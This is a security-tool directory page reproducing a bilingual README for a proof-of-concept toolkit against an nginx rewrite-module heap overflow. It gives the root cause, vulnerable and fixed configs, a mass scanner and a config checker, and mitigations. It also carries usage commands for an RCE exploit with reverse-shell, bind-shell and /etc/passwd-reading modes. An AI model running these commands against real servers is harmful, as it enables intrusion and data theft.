Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
도구/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
ReconnaissanceVulnerability AnalysisExploitationInformation GatheringWeb SecurityFuzzingPenetration TestingPayload DevelopmentBinary Exploitation
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

173개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-42945 Nginx Rift - PoC 툴킷

CVE-2026-42945(Nginx Rift)에 대한 포괄적인 개념 증명(PoC) 툴킷입니다. 이는 Nginx의 ngx_http_rewrite_module에서 발생하는 치명적인 힙 버퍼 오버플로우 취약점입니다.


취약점 요약

필드세부 사항
CVE IDCVE-2026-42945
이름Nginx Rift
유형힙 버퍼 오버플로우
구성 요소ngx_http_rewrite_module
심각도치명적(CVSS 9.2)
영향 버전Nginx 0.6.27 - 1.30.0
패치 버전Nginx 1.30.1 / 1.31.0

근본 원인

이 취약점은 리라이트 규칙을 처리할 때 두 내부 패스 간의 크기 계산 오류로 인해 발생합니다. 설정에 다음이 함께 사용되는 경우:

  • 이름 없는 정규식 캡처($1, $2 등)
  • ?를 포함하는 대체 문자열

Nginx는 첫 번째 패스에서 필요한 버퍼 크기를 잘못 계산하고 두 번째 패스에서 할당된 힙 버퍼를 초과하여 쓰기를 수행합니다.

취약한 설정 예시

root@kitploit:~
server {
    # 취약: 이름 없는 캡처($1) + 대체 문자열 내 '?'
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

안전한 설정(패치됨)

root@kitploit:~
server {
    # 안전: 이름 있는 캡처(?P<path>)가 $1을 대체
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

툴킷 구성 요소

1. nginx_rift_poc.py - 핵심 PoC 도구

단일 대상 취약점 스캐너 및 익스플로잇 도구입니다.

기능:

  • Server 헤더에서 Nginx 버전 감지
  • 버전이 취약한 범위에 있는지 확인
  • 제작된 HTTP 페이로드를 전송하여 힙 오버플로우 트리거
  • 취약한/안전한 테스트 설정 생성

사용법:

root@kitploit:~
# 버전 감지 및 취약점 테스트
python nginx_rift_poc.py -t target.example.com

# 사용자 정의 페이로드로 테스트
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 대상
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 취약한 테스트 설정 생성
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 안전한(패치된) 설정 생성
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - 대량 스캐너

여러 대상을 동시에 테스트하는 일괄 스캐너입니다.

기능:

  • 멀티 스레드 스캔(기본 50개 스레드)
  • 파일 또는 CIDR 네트워크 범위에서 대상 목록 읽기
  • 통합을 위한 JSON 출력
  • 포트 443에 대한 자동 SSL 감지

사용법:

root@kitploit:~
# 대상 파일에서 스캔(형식: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# 단일 대상 스캔
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 네트워크 범위 스캔
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 고속 스캔
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

대상 파일 형식:

root@kitploit:~
# 주석은 #으로 시작
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - 설정 분석기

로컬 Nginx 설정 파일에서 취약한 리라이트 패턴을 스캔합니다.

기능:

  • nginx.conf 구문 분석 및 include 지시문 추적
  • 대체 문자열 내 ?와 함께 사용된 이름 없는 캡처 감지
  • 자동 수정 지원(백업 포함)
  • 재귀 디렉터리 스캔

사용법:

root@kitploit:~
# 단일 파일 스캔
python config_checker.py /etc/nginx/nginx.conf

# 디렉터리 재귀 스캔
python config_checker.py -d /etc/nginx/conf.d/

# 취약한 패턴 자동 수정(.bak 백업 생성)
python config_checker.py --fix /etc/nginx/nginx.conf

# 일반적인 Nginx 경로 자동 감지
python config_checker.py

4. enhanced_poc.py - 향상된 RCE PoC

depthfirst의 공식 연구를 기반으로 한 고급 익스플로잇 도구로, 여러 리라이트 패턴과 익스플로잇 모드를 지원합니다.

기능:

  • 8가지 일반적인 취약한 리라이트 패턴 자동 감지(/api/, /redirect/, /user/ 등)
  • 여러 오버플로우 트리거 문자 지원(+, &, =, %)
  • 제어된 오버플로우 크기를 가진 스마트 페이로드 생성
  • 여러 익스플로잇 모드: cmd / shell / bind / read
  • ASLR이 꺼진 환경을 위한 사용자 정의 힙/libc 기본 주소
  • 가짜 ngx_pool_cleanup_s를 포함한 동적 스프레이 본문 구성

사용법:

root@kitploit:~
# 패턴 및 버전 자동 감지
python enhanced_poc.py -t target.example.com --detect

# 명령 실행(ASLR 꺼짐)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 리버스 셸
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 바인드 셸
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 원격 파일 읽기
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 사용자 정의 힙 기본(ASLR 꺼진 대상용)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 오버플로우 트리거로 & 사용
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

익스플로잇 모드 세부 정보:

주소 구성(ASLR 꺼짐 전용):

  • --heap-base: 대상 힙 기본 주소(예: 0x555555559000)
  • --libc-base: libc 기본 주소(예: 0x7ffff77ba000)
  • --system-addr: 직접 system() 주소(libc-base를 재정의)

5. aslr_leak_detector.py - ASLR 누출 감지기

ASLR 보호를 우회할 수 있는 정보 누출을 감지하는 포괄적인 스캐너입니다.

기능:

  • HTTP 헤더 누출 감지(Server, X-Powered-By 등)
  • 오류 페이지 분석(메모리 주소, 스택 추적)
  • Nginx 특정 엔드포인트 프로빙(/nginx_status, /actuator/* 등)
  • 메모리 주소 누출 감지(64비트 포인터, 힙/libc/스택 주소)
  • 타이밍 분석을 통한 힙 레이아웃 프로빙
  • ASLR 상태 추론(활성화/비활성화/약함)
  • JSON 보고서를 통한 enhanced_poc.py와 직접 통합

사용법:

root@kitploit:~
# 단일 대상 스캔
python aslr_leak_detector.py -t target.example.com

# SSL 스캔
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 파일에서 스캔, 보고서 저장
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 네트워크 범위 스캔
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 빠른 스캔 모드
python aslr_leak_detector.py -t target.example.com --quick

향상된 PoC와 통합:

root@kitploit:~
# 1단계: 누출 감지
python aslr_leak_detector.py -t target.example.com -o leak.json

# 2단계: 누출된 주소를 익스플로잇에 사용
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

취약점 감지 지표

PoC 도구는 다음 지표를 통해 취약점을 식별합니다:

지표설명
연결 끊김대상이 예기치 않게 연결 종료(worker 충돌)
게이트웨이 오류HTTP 502/503/504 응답(worker 프로세스 사망)
느린 응답응답 시간이 크게 증가(충돌 복구)

설치

외부 종속성이 필요하지 않습니다. Python 표준 라이브러리만 사용합니다.

root@kitploit:~
# 툴킷 복제 또는 다운로드
git clone <repository-url>
cd CVE-2026-42945

# Python 버전 확인(3.7+ 권장)
python3 --version

# 도구 실행
python3 nginx_rift_poc.py --help

영향을 받는 버전


완화

즉시 조치

  1. Nginx 패치를 1.30.1(안정) 또는 1.31.0(메인라인)로 업데이트
  2. 설정 감사에서 취약한 리라이트 패턴 확인
  3. Nginx worker 프로세스를 실행하는 모든 호스트에서 ASLR 활성화

설정 대안

패치가 즉시 불가능한 경우, 이름 없는 캡처를 이름 있는 캡처로 대체하십시오:

root@kitploit:~
# 수정 전(취약)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 수정 후(안전)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

WAF 가상 패치

취약한 리라이트 패턴을 대상으로 하는 비정상 요청을 차단하는 WAF 규칙을 배포하십시오.


면책 조항

이 툴킷은 승인된 보안 테스트 및 연구 목적으로만 사용됩니다.

  • 소유권이 있거나 명시적 테스트 권한이 있는 시스템에 대해서만 사용하십시오.
  • 컴퓨터 시스템에 대한 무단 액세스는 불법입니다.
  • 저자는 이 도구의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.
  • 프로덕션 사용 전에 항상 격리된 환경에서 테스트하십시오.

관련 CVE

이 결함은 다른 세 가지 메모리 손상 문제와 함께 발견되었습니다:

CVE설명심각도
CVE-2026-42946SCGI/UWSGI 메모리 할당 결함높음
CVE-2026-40701OCSP용 DNS 확인에서 use-after-free중간
CVE-2026-42934UTF-8 구문 분석 범위 초과 읽기중간

참고 자료

  • F5 보안 권고
  • Nginx 보안
  • CVE-2026-42945 세부 정보

라이선스

이 프로젝트는 교육 및 승인된 보안 테스트 목적으로 제공됩니다.


작성자: 보안 연구 팀 날짜: 2026-06-11


中文说明 (Chinese Documentation)

漏洞概述

CVE-2026-42945(Nginx Rift)是 Nginx ngx_http_rewrite_module 模块中的一个堆缓冲区溢出漏洞,自 2008 年(Nginx 0.6.27)就已存在,潜伏了约 18 年。

漏洞原理

在处理 rewrite 规则时,Nginx 内部会进行两次解析。如果配置中同时满足以下两个条件:

  1. 使用未命名正则捕获(如 $1、$2)
  2. 替换字符串中包含 ? 字符

Nginx 在第一遍解析时会错误计算缓冲区大小,在第二遍解析时写入超出堆缓冲区边界的数据,导致堆溢出。

脆弱配置示例(有漏洞)

root@kitploit:~
server {
    # 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

安全配置示例(已修复)

root@kitploit:~
server {
    # 安全:使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

工具组件说明

1. nginx_rift_poc.py — 核心 PoC 工具

单目标漏洞检测与利用工具。

功能:

  • 从 Server 响应头检测 Nginx 版本
  • 判断版本是否在脆弱范围内
  • 发送精心构造的 HTTP 请求触发堆溢出
  • 生成用于测试的脆弱/安全配置

使用示例:

root@kitploit:~
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py — 批量扫描器

多线程并发扫描多个目标。

功能:

  • 默认 50 线程并发扫描
  • 支持从文件或 CIDR 网段读取目标
  • JSON 格式输出结果
  • 自动识别 443 端口的 SSL 连接

使用示例:

root@kitploit:~
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

目标文件格式:

root@kitploit:~
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py — 配置文件检查器

扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。

功能:

  • 解析 nginx.conf 并递归解析 include 引用的文件
  • 检测包含未命名捕获 + ? 的 rewrite 指令
  • 支持自动修复(自动创建 .bak 备份)
  • 递归扫描目录

使用示例:

root@kitploit:~
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

4. enhanced_poc.py — 增强版 RCE PoC

基于 depthfirst 官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用方式。

功能:

  • 自动探测 8 种常见脆弱 rewrite 模式(/api/、/redirect/、/user/ 等)
  • 支持多种溢出触发字符(+、&、=、%)
  • 智能 payload 生成,精确控制溢出大小
  • 多种利用模式:cmd / shell / bind / read
  • 自定义堆/libc 基址(用于 ASLR 关闭环境)
  • 动态构造 spray body,包含 fake ngx_pool_cleanup_s

溢出触发字符扩展表:

使用示例:

root@kitploit:~
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

利用模式说明:

地址配置(仅 ASLR 关闭环境):

  • --heap-base: 目标堆基址(如 0x555555559000)
  • --libc-base: libc 基址(如 0x7ffff77ba000)
  • --system-addr: 直接指定 system() 地址

5. aslr_leak_detector.py — ASLR 信息泄露检测工具

综合扫描器,检测可用于绕过 ASLR 防护的信息泄露漏洞。

功能:

  • HTTP 响应头泄露检测(Server、X-Powered-By 等)
  • 错误页面分析(内存地址、堆栈跟踪)
  • Nginx 特定端点探测(/nginx_status、/actuator/* 等)
  • 内存地址泄露检测(64位指针、堆/libc/栈地址)
  • 堆布局探测(通过响应时间差异推断内存状态)
  • ASLR 状态推断(开启/关闭/弱)
  • 通过 JSON 报告直接与 enhanced_poc.py 集成

使用示例:

root@kitploit:~
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

与增强版 PoC 的联动使用:

root@kitploit:~
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

漏洞检测指标

PoC 工具通过以下现象判断目标是否存在漏洞:

检测指标说明
连接断开目标异常关闭连接(Worker 进程崩溃)
网关错误返回 HTTP 502/503/504(Worker 进程已死)
响应变慢响应时间显著增加(进程崩溃后自动重启)
空响应体

安装方法

无需安装任何第三方依赖,仅使用 Python 标准库即可运行。

root@kitploit:~
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本(推荐 3.7+)
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

影响版本


缓解措施

紧急处置建议

  1. 立即升级 Nginx 到 1.30.1(稳定版)或 1.31.0(主线版)
  2. 审计配置文件 中是否存在脆弱的 rewrite 模式
  3. 开启 ASLR 地址空间布局随机化,增加 RCE 利用难度

临时缓解方案(无法立即升级时)

将未命名捕获替换为命名捕获:

root@kitploit:~
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

WAF 虚拟补丁

部署 Web 应用防火墙规则,拦截针对脆弱 rewrite 模式的恶意请求。


免责声明

本工具包仅供授权的安全测试和研究用途。

  • 仅对您拥有所有权或已获得明确授权的系统使用本工具
  • 未经授权访问计算机系统是违法行为
  • 作者不对本工具的滥用或造成的损害承担责任
  • 请始终在隔离环境中测试后再用于生产环境

相关漏洞

此漏洞是由 depthfirst 的 AI 驱动静态分析系统发现的一系列内存损坏问题之一:

CVE 编号描述等级
CVE-2026-42946SCGI/UWSGI 内存分配缺陷高危
CVE-2026-40701OCSP DNS 解析 UAF中危
CVE-2026-42934UTF-8 解析越界读取中危

参考链接

  • F5 安全公告
  • Nginx 安全公告
  • CVE-2026-42945 详情
  • SonicWall 技术分析
  • Cloud Security Alliance 研究报告

开源协议

本项目仅供教育用途和授权安全测试使用。


作者: Security Research Team 日期: 2026-06-11

도구 다운로드
모드설명출력
cmd단일 셸 명령 실행대상의 명령 출력
shell리버스 셸 생성--listen-ip:listen-port로 연결
bind대상에 바인드 셸 생성대상의 --listen-port에서 수신
read대상에서 파일 읽기/tmp/nginx_rift_read에 내용 기록
빈 응답기준과 비교하여 응답 본문 사라짐
버전 일치감지된 Nginx 버전이 취약한 범위에 있음
제품영향을 받는 버전패치된 버전
Nginx 오픈 소스0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress Controller패치 이전의 모든 버전패치된 릴리스로 업데이트
Nginx Gateway Fabric패치 이전의 모든 버전패치된 릴리스로 업데이트
字段详情
CVE 编号CVE-2026-42945
漏洞名称Nginx Rift
漏洞类型堆缓冲区溢出(Heap Buffer Overflow)
影响组件ngx_http_rewrite_module
危害等级严重(CVSS 9.2)
影响版本Nginx 0.6.27 - 1.30.0
修复版本Nginx 1.30.1 / 1.31.0
字符扩展为每字符溢出
+%2B+2 字节
&%26+2 字节
=%3D+2 字节
%%25+2 字节
空格%20+2 字节
模式说明输出
cmd执行单条 shell 命令命令输出保存在目标上
shell生成反弹 shell连接回 --listen-ip:listen-port
bind生成绑定 shell在目标 --listen-port 上监听
read读取目标文件内容写入 /tmp/nginx_rift_read
与基线对比,响应体为空(Worker 已崩溃)
版本匹配检测到的 Nginx 版本在脆弱范围内
产品受影响版本修复版本
Nginx 开源版0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress Controller未打补丁的所有版本更新到已修复版本
Nginx Gateway Fabric未打补丁的所有版本更新到已修复版本